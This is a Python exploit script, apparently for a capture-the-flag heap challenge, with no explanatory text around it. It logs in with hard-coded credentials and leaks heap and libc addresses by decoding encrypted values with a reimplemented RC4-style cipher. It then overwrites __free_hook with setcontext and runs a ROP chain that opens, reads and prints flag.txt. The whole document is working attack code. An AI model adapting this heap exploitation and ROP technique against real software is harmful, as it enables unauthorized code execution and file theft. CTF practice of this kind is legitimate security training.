1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140
| from pwncli import * from ctypes import * from time import time from struct import pack from LibcSearcher import * cli_script()
io = gift['io'] elf = gift["elf"] libc = gift.libc filename = gift.filename is_debug = gift.debug is_remote = gift.remote gdb_pid = gift.gdb_pid
libc = ELF("./libc.so.6") gift['libc'] = libc
arch='amd64' context(log_level = 'debug',os='linux',arch=arch) if gift.remote: libc = ELF("./libc.so.6") gift['libc'] = libc pass libc_box = LibcBox()
r_l = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6') r_l.srand(0)
key = 's4cur1ty_p4ssw0rd' key_len = len(key)
def encode(key,ptr): size = len(ptr) data = list(ptr) v5 = 0 v6 = 0 for i in range(0,size): v5 = (v5+1)%256 v6 = (v6+key[v5])%256 v4 = key[v5] key[v5] = key[v6] key[v6] = v4 data[i] = (data[i]^key[(key[v5]+key[v6])%256]) return bytes(data)
def cmd(c): sla("5. Exit",str(c)) def add(idx,size,data=b'A'): cmd(1) sla("Input the key: ",str(idx)) sla("Input the value size: ",str(size)) sla("Input the value: ",data) def free(idx): cmd(3) sla("Input the key: ",str(idx)) def show(idx): cmd(2) sla("Input the key: ",str(idx)) def edit(idx,data): cmd(4) sla("Input the key: ",str(idx)) sla("Input the value: ",data) def getkey(): key_ = [0 for i in range(256)] v8 = [0 for i in range(256)] for i in range(0,256): key_[i] = i v8[i] = ord(key[i%key_len]) v7 = 0 for i in range(0,256): v7 = (v8[i]+v7+key_[i])%256 v4 = key_[i] key_[i] = key_[v7] key_[v7] = v4 return key_
def pwn_exp(): print("PWN")
sla("Input your username:",'4dm1n') sla("Input your password:",'985da4f8cb37zkj') for i in range(9): add(i,0x2f0) for i in range(7): free(i) free(7) show(6) ru("value] = [6,") res6 = io.recv(0x20) show(7) ru("value] = [7,") res7 = io.recv(0x20) key_ = getkey() res6 = encode(key_,res6) key_ = getkey() res7 = encode(key_,res7) leak = u64_ex(res6[:8]) heap_base = leak - 0x650671ceec70 + 0x650671ced000-0x900 leak = u64_ex(res7[:8]) libc.address = leak - 0x799da79ebca0+0x799da7600000 p1 = p64_ex(libc.sym.__free_hook)*2 key_ = getkey() p1 = encode(key_,p1) edit(6,p1) pay =b'' pay = pay.ljust(0x78,b'\x00')+p64_ex(heap_base+0x5788be2cf870-0x5788be2cd000+0x00) pay = pay.ljust(0xa0,b'\x00')+p64_ex(heap_base+0x5788be2cf870-0x5788be2cd000+0x100) pay = pay.ljust(0xa8,b'\x00')+p64_ex(CG.ret()) pay = pay.ljust(0xb0,b'\x00')+b'flag.txt' pay = pay.ljust(0x100,b'\x00') pay += p64_ex(CG.ret())*2 pay += p64_ex(CG.pop_rdi_ret())+p64_ex(heap_base+0x5788be2cf870-0x5788be2cd000+0xb0)+p64_ex(CG.pop_rsi_ret())+p64_ex(0)+p64_ex(CG.pop_rdx_ret())+p64_ex(0)+p64_ex(libc.sym.open) pay += p64_ex(CG.pop_rdi_ret())+p64_ex(3) +p64_ex(CG.pop_rsi_ret())+p64_ex(heap_base+0x300)+p64_ex(CG.pop_rdx_ret())+p64_ex(0x100)+p64_ex(libc.sym.read) pay += p64_ex(CG.pop_rdi_ret())+p64_ex(heap_base+0x300)+p64_ex(libc.sym.puts) add(10,0x2f0,pay) CG.set_find_area(find_in_elf=False,find_in_libc=True) p = p64_ex(libc.sym.setcontext+53)*2 key_ = getkey() p = encode(key_,p) add(11,0x2f0,p) log.success('setcontext:'+hex(libc.sym.setcontext+53)) pause() free(10)
log.info('#---#---#---#---#') log.success('libc.address:'+hex(libc.address)) log.success('elf.address:'+hex(elf.address)) log.success('heap_bae:'+hex(heap_base))
if __name__ == '__main__': pwn_exp() io.interactive()
|